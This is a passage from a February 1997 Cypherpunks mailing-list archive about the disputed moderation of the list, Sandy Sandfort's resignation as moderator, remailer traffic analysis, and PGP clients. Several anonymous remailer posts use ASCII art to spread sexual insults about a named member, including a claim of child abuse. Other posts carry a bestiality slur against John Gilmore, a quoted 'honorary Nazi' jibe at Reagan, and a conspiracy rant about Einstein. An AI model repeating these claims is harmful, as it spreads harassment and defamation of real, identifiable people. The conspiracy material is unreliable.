free." > -- President Ronald W. Reagan June 6, 1984 - Normandy, France What Ronald Reagan didn't say (but what he really meant): "I come here to Bitburg to honor the fallen Nazis, because I am in fact an honorary Nazi myself. Just ask my personal secretary Helen, who used to work for Fritz Kraemer." From tcmay at got.net Sat Feb 8 09:12:40 1997 From: tcmay at got.net (Timothy C. May) Date: Sat, 8 Feb 1997 09:12:40 -0800 (PST) Subject: META: Censorship is Going Way too Far Message-ID: Fellow Cypherpunks (of the virtual community, even if not part of any particular version of the list(s)), I am about to drive over the Santa Cruz mountains for today's physical meeting at Stanford, and made my last check of the Singapore archive site to see if my last several messages to the CP list have appeared. (The Singapore site archives the main list every four hours; the latest update is 08:15 PST, local time.) They have _not_ appeared, on either of the two lists, the main list and filtered list. I don't know if they have appeared on the "unfiltered" list, as I don't have access to an archive site for that, and don't subscribe to it. Some of these articles are now more than 18 hours old. (I scanned the archive site carefully and did not see any of my articles. If I somehow missed them (all four?!), I apologize to the Moderator and will make an appointment with my eye doctor.) Further, messages dated _much_ later in time are now on the Singapore site, meaning they were "approved." (The latest such message I see is from J. Blatz, and is dated 2/8/97, 02:58 a.m., EST, which is fully 10 hours after the first of my messages which never appeared on either the main list or the flames list.) My articles are dated: * 2/7/97, 1:46 p.m. PST * 2/7/97, 1:59 p.m., PST * 2/7/97, 3:03 p.m., PST * 2/7/97, 9:46 p.m., PST I would normally give the message names here, but I suspect that even mention of the message titles would cause _this_ message to be filtered into the black hole list. So, by avoiding even mention of the message titles, I should be safe. Nothing in this message can be considered flamish (beyond normal criticism) or libelous. (Many articles with dates later than these have already appeared on the main list, and some have already appeared on the Flames list. Why have none of my articles gone through as of this morning?) The subjects of my articles deal with the claims made by "Against Moderation" and Vulis that certain articles were filtered from the stream of articles without appearing on either the main list or the flames list, and with no mention by the Moderator of this significant change to the moderation policies. I surmise that my articles are similarly vanishing into a black hole, presumably because I have questioned the policies here. (Possibly my articles have been side-tracked for further review, or for review by a certain company's legal staff, or whatever. If so, this should be explained to the main list. And the implications of this, if it is happening, should be discussed on the main list.) By the way, I will deliberately make no mention of the details of my articles, or of those by Against Moderation, as I also surmise that any articles dealing with a certain product by a certain company will be filtered out completely. (I carefully did not repeat the claims made against one of these products in my articles, so there is no way under the sun I can be charged in any court with "libel.") To paraphrase the Detweiler of a couple of years ago, "I am quite shocked by this situation." It is one thing to filter out posts which contain infantile, barnyard taunts and insults, it is quite another to filter out _content_. And it is even worse to not pass on these filtered comments to the "flames" list, which was putatively set up to contain such comments. Worse still that the list as a whole is not being told of this policy, and that posts which mention it are not going out. (There has been some discussion of articles not going out, such as in Igor Chudov's recent articles, but I surmise from his article that Igor is unaware of the filtering I'm talking about here. I am copying Igor on this message, to ensure he knows at least part of what is going on here.) There is no justification in any of the stated moderation goals for blocking articles such as mine, or this one. As my posts yesterday did not contain flames or insults (beyond normal minor turns of phrase some might not like, just as _this_ post contains mildly flamish comments if one is so inclined to see _any_ criticism as flamish), they should have appeared on the main list. They have not, so far, even though articles generated many hours later have already appeared on the main list. And, as of minutes ago, they have not appeared on the Flames list, even if the Moderator decided they were flamish. (Even if _one_ was, arguably, not all of them were.) So, we are increasingly in a situation where: a. the moderation policies appear to be changing on a daily basis b. articles which are not even flamish are being dumped c. some of these dumped articles are not even appearing on the "Flames" list d. the appearance of a conflict of interest is increasing e. discussion is being squelched I am cc:ing this message to a handful of Cypherpunks to ensure that it gets some propagation before today's meeting. I find it very sad that things have come to this. --Tim May Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From dlv at bwalk.dm.com Sat Feb 8 09:22:01 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Sat, 8 Feb 1997 09:22:01 -0800 (PST) Subject: John Gilmore fellated farm animals In-Reply-To: <199702070916.RAA10141@relay6.jaring.my> Message-ID: <9LeT2D74w165w@bwalk.dm.com> "huilam" writes: > How to get off this mail-listing ?? > > Regards, > Hui Lam > Email:huilam at pl.jaring.my > Homepage: Dear Hui, Just send a few e-mails critical of Cygnus Support (Gilmore's company), or C2Net (Parekh's company, that also employs Sandfart and Broils). They'll kick you off their mailing list in no time. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From dlv at bwalk.dm.com Sat Feb 8 09:23:05 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Sat, 8 Feb 1997 09:23:05 -0800 (PST) Subject: My messages not appearing on either of the lists? In-Reply-To: <199702072120.NAA01090@toad.com> Message-ID: Mike Duvos writes: > SANDY SANDFORT sez: > > > On Fri, 7 Feb 1997, Mike Duvos wrote: > > > > ...Messages apparently do not get moderated in the order in > > > which they are received... > > > All messages are filtered and posted in the order in which I > > receive them. > > That's all very nice, but I should point out that I have not yet > seen my message to which you are responding on the filtered list. Also not "all" messages are posted. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From dlv at bwalk.dm.com Sat Feb 8 09:23:36 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Sat, 8 Feb 1997 09:23:36 -0800 (PST) Subject: My messages not appearing on either of the lists? In-Reply-To: <199702072059.MAA15672@netcom23.netcom.com> Message-ID: "Vladimir Z. Nuri" writes: > >(It is true that Vulis uses the phrase "Limey faggots," in reference to > >beer-serving habits, but he does not directly insult any list members with > >this phrase. If Sandy is calling this phrase a flame, then Cypherpunks will > >be blocked from their usual characterizations of Congresscritters and NSA > >stooges.) > > TCM defending Vulis, I think I've died and am in some strange > dreamworld. hehehehe I actually liked most of what TCM wrote (even when not crypto-relevant) and find myself missing his essays. He was wrong to start flaming me for no reason and to attribute to me stuff I never said; but we all make mistakes and can get over them. Saying bullshit about people (like Tim saying bullshit about me and me saying bullshit about people) is one thing; it can be fun, or it can be annoying when taken to extremes; but I've never sought to silence Tim, and have no hard evidence that he tried to silence anyone. P.S. CMEPTb COBKAM! --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From dlv at bwalk.dm.com Sat Feb 8 09:25:23 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Sat, 8 Feb 1997 09:25:23 -0800 (PST) Subject: My messages not appearing on either of the lists? In-Reply-To: <199702072158.NAA01633@toad.com> Message-ID: "Timothy C. May" writes: > > I'm not defending Vulis per se, and I continue to think Vulis is a twit. I continue to think that Timmy is a liar and a jerk, yet I continue to defend his freedom of speech. > But one of the goals Vulis apparently set out to accomplish (just as you > did a couple of years ago, Larry) was to force the list to start censoring > itself, even to force the list to shut down. > > It seems likely that Vulis is quite happy with the outcome here. I had set out to expose Gilmore and his friends as evil, and I've succeded. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From whgiii at amaranth.com Sat Feb 8 09:32:42 1997 From: whgiii at amaranth.com (William H. Geiger III) Date: Sat, 8 Feb 1997 09:32:42 -0800 (PST) Subject: META: Censorship is Going Way too Far In-Reply-To: Message-ID: <199702081136.LAA26752@mailhub.amaranth.com> -----BEGIN PGP SIGNED MESSAGE----- In , on 02/08/97 at 11:22 AM, "Timothy C. May" said: >They have _not_ appeared, on either of the two lists, the main list and >filtered list. I don't know if they have appeared on the "unfiltered" list, as >I don't have access to an archive site for that, and don't subscribe to it. >Some of these articles are now more than 18 hours old. Hi Tim, All 4 of your post made it to the unfiltered list. I don't know what made it to the moderated/flam list as I had switched to the unmoderated list yesterday morning. - -- - ----------------------------------------------------------- William H. Geiger III http://www.amaranth.com/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. Finger whgiii at amaranth.com for PGP Key and other info - ----------------------------------------------------------- Tag-O-Matic: You're throwing it all out the Windows! -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: Registered User E-Secure v1.1 0000000 iQCVAwUBMvy70Y9Co1n+aLhhAQEJLAP+PfEKyvsLsqNWAnNYKt628w2PUtfIOxiR H0La2l3tOX6eyXNiQFtmhQA7czJOm2FxMQOwagkA9qQcaJAj6vOiRfA6vganHmVY VBFEfKQxSaSLov4cjZYyK5e1uWWrsJnU+irZyXDXXBxk8P4rA1kvwGChMPpJmeIK eybgP/vYvz8= =1brw -----END PGP SIGNATURE----- From paul at fatmans.demon.co.uk Sat Feb 8 09:36:38 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Sat, 8 Feb 1997 09:36:38 -0800 (PST) Subject: List censorship Message-ID: <855422469.63851.0@fatmans.demon.co.uk> I notice several posts to the list discussing the incident when a message was sent to the list and was only at toad.com for 3 seconds before being forwarded. This incident, as the other posts observed, seems to suggest some kind of keyword filtering based on content or poster identity is in place. Sandy, can you explain this incident along with the fact that the post Dimitri sent about stronghold was sent to neither of the "filtered" lists. Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From dthorn at gte.net Sat Feb 8 09:40:56 1997 From: dthorn at gte.net (Dale Thorn) Date: Sat, 8 Feb 1997 09:40:56 -0800 (PST) Subject: Internet Alert! Pay for local dial-up?? Message-ID: <199702081740.JAA00165@toad.com> E-Mail Communications wrote: > See our "Patriotic Quotes That Make Sense" > at the end of this publication. > "We will always remember. We will always be proud. We will > always be prepared, so we may always be free." > -- President Ronald W. Reagan June 6, 1984 - Normandy, France What Ronald Reagan didn't say (but what he really meant): "I come here to Bitburg to honor the fallen Nazis, because I am in fact an honorary Nazi myself. Just ask my personal secretary Helen, who used to work for Fritz Kraemer." From alan at ctrl-alt-del.com Sat Feb 8 09:41:04 1997 From: alan at ctrl-alt-del.com (Alan Olsen) Date: Sat, 8 Feb 1997 09:41:04 -0800 (PST) Subject: Enlightened commentary on Netizen. Message-ID: <199702081741.JAA00191@toad.com> -----BEGIN PGP SIGNED MESSAGE----- At 08:41 PM 2/6/97 -0800, Anil Das wrote: > However, the question has to be asked, why the fuck should we non US citizens go and buy > cryptographic software that is deliberately coded to allow the US government to read our mail? You shouldn't. Maybe someone should print up a batch of "Voyeur Enabled" stickers for all the GAKed products (or should that be KRAP products, since it is the Key Recovery Alliance, but that is redundant) we will be seeing at our local software stores. Sometimes I think the reason for all this snake oil we have been seeing is the Feds need it for extra lubricant so they don't chafe themselves while getting off on reading our mail. -----BEGIN PGP SIGNATURE----- Version: 4.5 iQEVAwUBMvyv1+QCP3v30CeZAQEGigf+PA45Q2ySEZ6iLwc8+fRURvXJRinStWwy oNGWKDnyYHFJ91L8Z+11oKvMov45CC4MOISy36/Oz2CY9qyq8l5L1wTU7J8CezsS 3QezDreJtUXr/OCmxRngOQbeHuGDkXuIocfTV7sZU/j7ARWj9hKCd39xf6J/MmZ6 zjKS7olJmzMMyJrAWaNo5zaW4g/ER8wJiI0zbakvrd/8Y+VJkiTN05znbIfLiOTV 0Olt/OaX4seWWNwZb5FaPv2y8ST3j+xm4Uv6fdc4Qo8QGWnGpuBAKo0D+q39KNkY Ps47vKyf2VwQM6Ci49/uuU8um/l9TmDsuHkYYmsoDfsGpcZImEWzZw== =Prg6 -----END PGP SIGNATURE----- --- | "Mi Tio es infermo, pero la carretera es verde!" | |"The moral PGP Diffie taught Zimmermann unites all| Disclaimer: | | mankind free in one-key-steganography-privacy!" | Ignore the man | |`finger -l alano at teleport.com` for PGP 2.6.2 key | behind the keyboard.| | http://www.ctrl-alt-del.com/~alan/ |alan at ctrl-alt-del.com| From markm at voicenet.com Sat Feb 8 09:41:07 1997 From: markm at voicenet.com (Mark M.) Date: Sat, 8 Feb 1997 09:41:07 -0800 (PST) Subject: anonymous remailers Message-ID: <199702081741.JAA00193@toad.com> -----BEGIN PGP SIGNED MESSAGE----- On Sat, 8 Feb 1997, Jeremiah A Blatz wrote: > Ummm, if you run your own remailer, and don't get lots of people to > use it, then traffic analysis will reveal that you are the sender > quite quickly. It will pretty much make everything in the chain before > your remiler useless. If you send your message through remailers a, b, > c, and d like this: > > you -> a -> b -> c -> d -> alt.drugs.and-other-various-horsemen > > and only you use c, then your effective chain is: > > someone who could only be you -> d -> alt.drugs.and-other-various-horsemen This is assuming that it is a reasonable assumption that all traffic going through remailer c originated from the owner. If there is one non-corrupt remailer in the chain before c, then this would not be a valid assumption because traffic from the owner would be indistinguishable from traffic sent by anyone else. If the remailer has low traffic, the solution is, of course, to make it higher traffic. Chain a bunch of messages that get sent to /dev/null through the remailers, being sure to include c somewhere in the middle of the chain. If Mixmaster is used, then it would be virtually impossible to differentiate between "real" messages and messages destined for /dev/null. It would be a little easier with Type I since the size of the ciphertext decreases after each hop. This all assumes that encryption is being used, of course. Mark -----BEGIN PGP SIGNATURE----- Version: 2.6.3 Charset: noconv iQEVAwUBMvyzcCzIPc7jvyFpAQHRpQf+LusfAS8dhDczpYTHGjgIRo38gPHeDdVn +qmmikRNravoEiPD9GIrZ4OeYKOs6zykvhWuMoTtsVi/a7p1HZyWzl5A5KkxofUv nLOUoPriQ9Ps8fzc3B31G5nwj5d6Es7nnfZbGk1dV5KS5bN7fyu9umBeFiW7jNcj eTf8GmFH7Rxi5aoUc0uMMR/YffMNl0fHo+wooPNnTBMppLouTIr9iQdCxDOJ7eJc QAFyEXYWtRP8AqrnB0/pVAXUtrnui+Ev1waOkMYKbWuiQ8tkHbLAvcmpAVnD67jX 4f3ZQkhXG6C4VbYF3fTlL0ujZgRal0csG0X4u6x/5ID4Blle9hwtIQ== =BqMW -----END PGP SIGNATURE----- From dthorn at gte.net Sat Feb 8 09:42:47 1997 From: dthorn at gte.net (Dale Thorn) Date: Sat, 8 Feb 1997 09:42:47 -0800 (PST) Subject: POST: The Frightening Dangers of Moderation Message-ID: <199702081742.JAA00228@toad.com> ??? wrote: [some text deleted] > > Before I explain what has happened, I want to make one thing > > absolutely clear. Though I've thought the moderation of cypherpunks > > was a terrible idea from the start and am even more convinced of it > > now, I don't assign any blame to Sandy. I believe he offered to > > moderate the list with the best of intentions, and I sincerely > > appreciate his efforts to try to revive what was once a fantastic > > mailing list, even if in my opinion those efforts have backfired. This is the fatal mistake, assuming it's really a mistake. I've worked under several corporations where, at a certain point in time, things just "went crazy", and the owners/ managers were scrambling desperately to plug as many holes in the dike as they possibly could, to no avail. People don't understand why things just "go crazy" at a particular point, and so they accept the coincidence theory ruse, lacking any other evidence. Use your head, folks. This is not a list made up of sewing-circle nannies, these are security people, NSA, CIA, and all the ugly things you shut out of your conversations because you don't want to admit the truth. "Paranoia is a way of knowing". Today I saw an old picture of Albert Einstein in full Indian regalia, smoking a peace pipe with some Hopi people. I thought of the Capone mob and the "kiss of death", or Judas and Jesus, you get the picture. So Einstein puts his name and reputation and personal seal of approval on the creation of the Doomsday Device, the atom bomb, knowing full well that it will be used to murder millions of people. What does he do for an encore? Plants the "kiss of death" on the Hopis, whose environment is co-opted by the mad bombers and their Nazi-infested thug "scientist" cohorts, for the experimentation and storage of nuclear and other hazardous materials. You know, Nevada, Arizona, New Mexico, all those "useless, desert lands" occupied by the Indians. From ott0matic at hotmail.com Sat Feb 8 09:44:57 1997 From: ott0matic at hotmail.com (Otto Matic) Date: Sat, 8 Feb 1997 09:44:57 -0800 (PST) Subject: What else do I need for an Internet Server Message-ID: <199702081744.JAA12384@f22.hotmail.com> >Otto Matic wrote: >> What else do I need for an internet server? >> HP Vectra Towers 2 each 486 cyrex chips 50 meg processor Need high >> speed hard drives. These are the Tall Towers that have multiple >> drives, these are server towers. >> I think I have a router Hub. And a couple LAN cards. >> That's all I have. But I just got them, and I want to use them. I assume I >> will be using some kind of UNIX software. > >HP does some strange things to their BIOS software - you may want to >get one of those net analyzer tools and some low-level software that >can monitor what your HP's are sending and receiving, just in case. > >They don't normally use Vectras for UNIX, so what effects you can >expect, I don't know. > Dale, Thanks for your reply. Really I'm not sure about UNIX, I was just guessing. What I really need is a B.O.M (bill of materials). What other 'hardware' will I need to round up in order to get this server up and running. Thanks: otto =-=-=-=-=- Otto Matic "Fuckin' A, Miller!" Bud, Repo Man --------------------------------------------------------- Get Your *Web-Based* Free Email at http://www.hotmail.com --------------------------------------------------------- From jchou at cgl.ucsf.edu Sat Feb 8 10:05:16 1997 From: jchou at cgl.ucsf.edu (Joe Chou) Date: Sat, 8 Feb 1997 10:05:16 -0800 (PST) Subject: Waiting for Mac version [was Re: Full strength Email Clients] Message-ID: -----BEGIN PGP SIGNED MESSAGE----- >Meanwhile, a beta version of "Pretty Safe Mail" > is available from >Highware in Belgium. It's PGP compatible, and its user interface is a >great leap forward from any Mac PGP front end I've seen. But, it still has >some deficiencies, it's very slow (25 seconds to sign this message on a 25 >MHz 68040 vs. 4 seconds for ViaCrypt PGP 2.7.1), and (as was recently >discussed on a couple of these lists) its source code hasn't been published >or externally audited. I've been testing Pretty Safe Mail on 68k and PPC platforms, and I completely agree with you for the 68040 slowness. But on a Powermac 7600 (604/120Mhz), it took less than 3 seconds to sign the same document. Highware claims that a faster 68k is in the works. They've offereed to have PSM externally audited, but I haven't heard of any volunteers. Joe -----BEGIN PGP SIGNATURE----- Version: 2.6.2, by Pretty Safe Mail 1.0 iQCVAwUBMvzAT7WqygGLsQD9AQF+RwP+IbLejl0wMKQzPJmHbIOann+KUB0zsXps 36bjfsyjIYZwkcbhjqCh2lFpljlmeMMVtPX90bPLRb0J+Bgbmcv7h24BN2Q5sInr AFFk4ST07uLZ8ICJzwtkHYgNwgMmdba2QeDQ0SZCH8FYMQiLpkf45TTIIger8MXt Rkkv3V23nts= =MgGH -----END PGP SIGNATURE----- | Joe Chou | http://devbio-mac1.ucsf.edu/joe.html | Bargmann Lab, UCSF Department of Biochemistry | PGP KeyID 0x8BB100FD: at web page or public key servers | PGP Fingerprint [4194 EBC6 EEB0 7B1A F18F 2185 D406 EDFF] From sandfort at crl.com Sat Feb 8 10:10:47 1997 From: sandfort at crl.com (Sandy Sandfort) Date: Sat, 8 Feb 1997 10:10:47 -0800 (PST) Subject: MODERATION Message-ID: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SANDY SANDFORT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . C'punks, I'm ending my participation in the moderation of the list. It would have been an interesting experiment if list members had been open minded enough to give it a good faith effort. Instead, those who weren't even willing to give another approach a try, set out to sabotage it and destroy any possibility of a meaningful test of the concept. I see no reason to prolong the agony. I've asked John to take me out of the loop as soon as possible. If he can't get that done right away, I'll continue to moderate in some capacity so that list members aren't cut off. However, I'm going to take a break today to help a friend move into her apartment. There won't be any messages forwarded for the next 24 hours or so. Hopefully, John will have things switched over by that then. If not, I shove whatever is in the queue on down the line. S a n d y ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From nobody at wazoo.com Sat Feb 8 10:20:52 1997 From: nobody at wazoo.com (Anonymous) Date: Sat, 8 Feb 1997 10:20:52 -0800 (PST) Subject: Anyone got a hash, in Java, in Europe? Message-ID: <199702081820.LAA04261@earth.wazoo.com> Dr.Degenerate L Vasectomy K Of The Moment has been a source of endless embarassments to his sympathizers on and off the net. o_o ( ) Dr.Degenerate L Vasectomy K Of The Moment ( | | ) ' " " ` From sandfort at crl8.crl.com Sat Feb 8 10:25:57 1997 From: sandfort at crl8.crl.com (Sandy Sandfort) Date: Sat, 8 Feb 1997 10:25:57 -0800 (PST) Subject: MODERATION Message-ID: <199702081825.KAA00702@toad.com> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SANDY SANDFORT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . C'punks, I'm ending my participation in the moderation of the list. It would have been an interesting experiment if list members had been open minded enough to give it a good faith effort. Instead, those who weren't even willing to give another approach a try, set out to sabotage it and destroy any possibility of a meaningful test of the concept. I see no reason to prolong the agony. I've asked John to take me out of the loop as soon as possible. If he can't get that done right away, I'll continue to moderate in some capacity so that list members aren't cut off. However, I'm going to take a break today to help a friend move into her apartment. There won't be any messages forwarded for the next 24 hours or so. Hopefully, John will have things switched over by that then. If not, I shove whatever is in the queue on down the line. S a n d y ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From sandfort at crl8.crl.com Sat Feb 8 10:27:47 1997 From: sandfort at crl8.crl.com (Sandy Sandfort) Date: Sat, 8 Feb 1997 10:27:47 -0800 (PST) Subject: MODERATION Message-ID: <199702081827.KAA00722@toad.com> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SANDY SANDFORT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . C'punks, I'm ending my participation in the moderation of the list. It would have been an interesting experiment if list members had been open minded enough to give it a good faith effort. Instead, those who weren't even willing to give another approach a try, set out to sabotage it and destroy any possibility of a meaningful test of the concept. I see no reason to prolong the agony. I've asked John to take me out of the loop as soon as possible. If he can't get that done right away, I'll continue to moderate in some capacity so that list members aren't cut off. However, I'm going to take a break today to help a friend move into her apartment. There won't be any messages forwarded for the next 24 hours or so. Hopefully, John will have things switched over by that then. If not, I shove whatever is in the queue on down the line. S a n d y ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From nobody at huge.cajones.com Sat Feb 8 10:50:10 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Sat, 8 Feb 1997 10:50:10 -0800 (PST) Subject: Decision in Karn Case Message-ID: <199702081850.KAA15092@mailmasher.com> Dr.Degenerate Vulis K[rust]OfTheMoment likes to be the man in the middle, getting it both up the ass and in his mouth. o \ o / _ o __| \ / |__ o _ \ o / o /|\ | /\ ___\o \o | o/ o/__ /\ | /|\ / \ / \ | \ /) | ( \ /o\ / ) | (\ / | / \ / \ Dr.Degenerate Vulis K[rust]OfTheMoment From nobody at wazoo.com Sat Feb 8 10:51:14 1997 From: nobody at wazoo.com (Anonymous) Date: Sat, 8 Feb 1997 10:51:14 -0800 (PST) Subject: [PICS] Dr. Denning Message-ID: <199702081851.LAA05259@earth.wazoo.com> Destitute L(ibel) Vilus K(adaver)OfTheMonth is so vile because rancid semen is dripping from all of his orifices. o o /< >\ Destitute L(ibel) Vilus K(adaver)OfTheMonth \\\_______/// // \\ From nobody at wazoo.com Sat Feb 8 11:00:50 1997 From: nobody at wazoo.com (Anonymous) Date: Sat, 8 Feb 1997 11:00:50 -0800 (PST) Subject: Encrypting ZIP disks Message-ID: <199702081900.MAA05522@earth.wazoo.com> Dimwit L[eper] Vehement K[reep]OTM prefers to have sex with little kids because his own penis is like that of a three-year- old. o o /< >\ Dimwit L[eper] Vehement K[reep]OTM \\\_______/// // \\ From nobody at wazoo.com Sat Feb 8 11:33:14 1997 From: nobody at wazoo.com (Anonymous) Date: Sat, 8 Feb 1997 11:33:14 -0800 (PST) Subject: Trigger-Words Message-ID: <199702081933.MAA06626@earth.wazoo.com> Dr.Dinghy L[ily] Vinyl is so full of shit that some of it bursts out on this mailing list. __o _ \<_ Dr.Dinghy L[ily] Vinyl (_)/(_) From frogfarm at yakko.cs.wmich.edu Sat Feb 8 13:12:56 1997 From: frogfarm at yakko.cs.wmich.edu (Damaged Justice) Date: Sat, 8 Feb 1997 13:12:56 -0800 (PST) Subject: Humor in the oddest places... Message-ID: <199702082115.QAA18694@yakko.cs.wmich.edu> The February issue of the _Pinky and the Brain_ comic, based on the animated television show of two lab mice constantly foiled in their plans to take over the world, has a main story entitled "Mission: Unpinkable". Our heroes intercept a stray piece of microfilm and accept the mission to steal Microstomp's "prototype Internet computer control chip, the 1286 GAK", with Brain plotting to reprogram the chip so that... "When the program is introduced on the Internet, every connected CPU across the globe will download ME! My personality matrix will soon control every computer in the world!" Naturally, the plan goes awry. One wonders if the writers have been following the "key escrow" debate here on Cpunks. -- Explain to me, slowly and carefully, why if person A, when screwed over on a deal by B, is morally obligated to consult, pay, and defer to, person C for the purpose of seeing justice done, and why person C has any legitimate gripe if A just hauls off and smacks B around like a dead carp. (Michael Schneider) From 2ndSun at bigfoot.com Sat Feb 8 13:16:52 1997 From: 2ndSun at bigfoot.com (Jerry Basham) Date: Sat, 8 Feb 1997 13:16:52 -0800 (PST) Subject: Enlightened commentary on Netizen. Message-ID: <199702082106.PAA04238@falcon.inetnebr.com> I have no idea why I received the below message. I don't know any of the people in it, and I don't care about the issue. ---------- > From: Alan Olsen > To: Anil Das > Cc: cypherpunks at toad.com > Subject: Re: Enlightened commentary on Netizen. > Date: Saturday, February 08, 1997 10:55 AM > > -----BEGIN PGP SIGNED MESSAGE----- > > At 08:41 PM 2/6/97 -0800, Anil Das wrote: > > > However, the question has to be asked, why the fuck should we non US > citizens go and buy > > cryptographic software that is deliberately coded to allow the US > government to read our mail? > > You shouldn't. > > Maybe someone should print up a batch of "Voyeur Enabled" stickers for all > the GAKed products (or should that be KRAP products, since it is the Key > Recovery Alliance, but that is redundant) we will be seeing at our local > software stores. > > Sometimes I think the reason for all this snake oil we have been seeing is > the Feds need it for extra lubricant so they don't chafe themselves while > getting off on reading our mail. > > -----BEGIN PGP SIGNATURE----- > Version: 4.5 > > iQEVAwUBMvyv1+QCP3v30CeZAQEGigf+PA45Q2ySEZ6iLwc8+fRURvXJRinStWwy > oNGWKDnyYHFJ91L8Z+11oKvMov45CC4MOISy36/Oz2CY9qyq8l5L1wTU7J8CezsS > 3QezDreJtUXr/OCmxRngOQbeHuGDkXuIocfTV7sZU/j7ARWj9hKCd39xf6J/MmZ6 > zjKS7olJmzMMyJrAWaNo5zaW4g/ER8wJiI0zbakvrd/8Y+VJkiTN05znbIfLiOTV > 0Olt/OaX4seWWNwZb5FaPv2y8ST3j+xm4Uv6fdc4Qo8QGWnGpuBAKo0D+q39KNkY > Ps47vKyf2VwQM6Ci49/uuU8um/l9TmDsuHkYYmsoDfsGpcZImEWzZw== > =Prg6 > -----END PGP SIGNATURE----- > > --- > | "Mi Tio es infermo, pero la carretera es verde!" | > |"The moral PGP Diffie taught Zimmermann unites all| Disclaimer: | > | mankind free in one-key-steganography-privacy!" | Ignore the man | > |`finger -l alano at teleport.com` for PGP 2.6.2 key | behind the keyboard.| > | http://www.ctrl-alt-del.com/~alan/ |alan at ctrl-alt-del.com| From 2ndSun at bigfoot.com Sat Feb 8 13:21:54 1997 From: 2ndSun at bigfoot.com (Jerry Basham) Date: Sat, 8 Feb 1997 13:21:54 -0800 (PST) Subject: anonymous remailers Message-ID: <199702082121.PAA05430@falcon.inetnebr.com> I don't know what you're talking about. Who is "cypherpunks," and who are you? Please don't answer...I'm just trying to figure out how I started getting these wierd e-mails from people I never heard about discussing something I never cared about. I truly want you to have a great life...but please leave me out of it. ---------- > From: Mark M. > To: cypherpunks at toad.com > Subject: Re: anonymous remailers > Date: Saturday, February 08, 1997 11:11 AM > > -----BEGIN PGP SIGNED MESSAGE----- > > On Sat, 8 Feb 1997, Jeremiah A Blatz wrote: > > > Ummm, if you run your own remailer, and don't get lots of people to > > use it, then traffic analysis will reveal that you are the sender > > quite quickly. It will pretty much make everything in the chain before > > your remiler useless. If you send your message through remailers a, b, > > c, and d like this: > > > > you -> a -> b -> c -> d -> alt.drugs.and-other-various-horsemen > > > > and only you use c, then your effective chain is: > > > > someone who could only be you -> d -> alt.drugs.and-other-various-horsemen > > This is assuming that it is a reasonable assumption that all traffic going > through remailer c originated from the owner. If there is one non-corrupt > remailer in the chain before c, then this would not be a valid assumption > because traffic from the owner would be indistinguishable from traffic sent > by anyone else. If the remailer has low traffic, the solution is, of course, > to make it higher traffic. Chain a bunch of messages that get sent to > /dev/null through the remailers, being sure to include c somewhere in the > middle of the chain. If Mixmaster is used, then it would be virtually > impossible to differentiate between "real" messages and messages destined for > /dev/null. It would be a little easier with Type I since the size of the > ciphertext decreases after each hop. This all assumes that encryption is being > used, of course. > > > Mark > -----BEGIN PGP SIGNATURE----- > Version: 2.6.3 > Charset: noconv > > iQEVAwUBMvyzcCzIPc7jvyFpAQHRpQf+LusfAS8dhDczpYTHGjgIRo38gPHeDdVn > +qmmikRNravoEiPD9GIrZ4OeYKOs6zykvhWuMoTtsVi/a7p1HZyWzl5A5KkxofUv > nLOUoPriQ9Ps8fzc3B31G5nwj5d6Es7nnfZbGk1dV5KS5bN7fyu9umBeFiW7jNcj > eTf8GmFH7Rxi5aoUc0uMMR/YffMNl0fHo+wooPNnTBMppLouTIr9iQdCxDOJ7eJc > QAFyEXYWtRP8AqrnB0/pVAXUtrnui+Ev1waOkMYKbWuiQ8tkHbLAvcmpAVnD67jX > 4f3ZQkhXG6C4VbYF3fTlL0ujZgRal0csG0X4u6x/5ID4Blle9hwtIQ== > =BqMW > -----END PGP SIGNATURE----- > From 2ndSun at bigfoot.com Sat Feb 8 13:33:35 1997 From: 2ndSun at bigfoot.com (Jerry Basham) Date: Sat, 8 Feb 1997 13:33:35 -0800 (PST) Subject: POST: The Frightening Dangers of Moderation 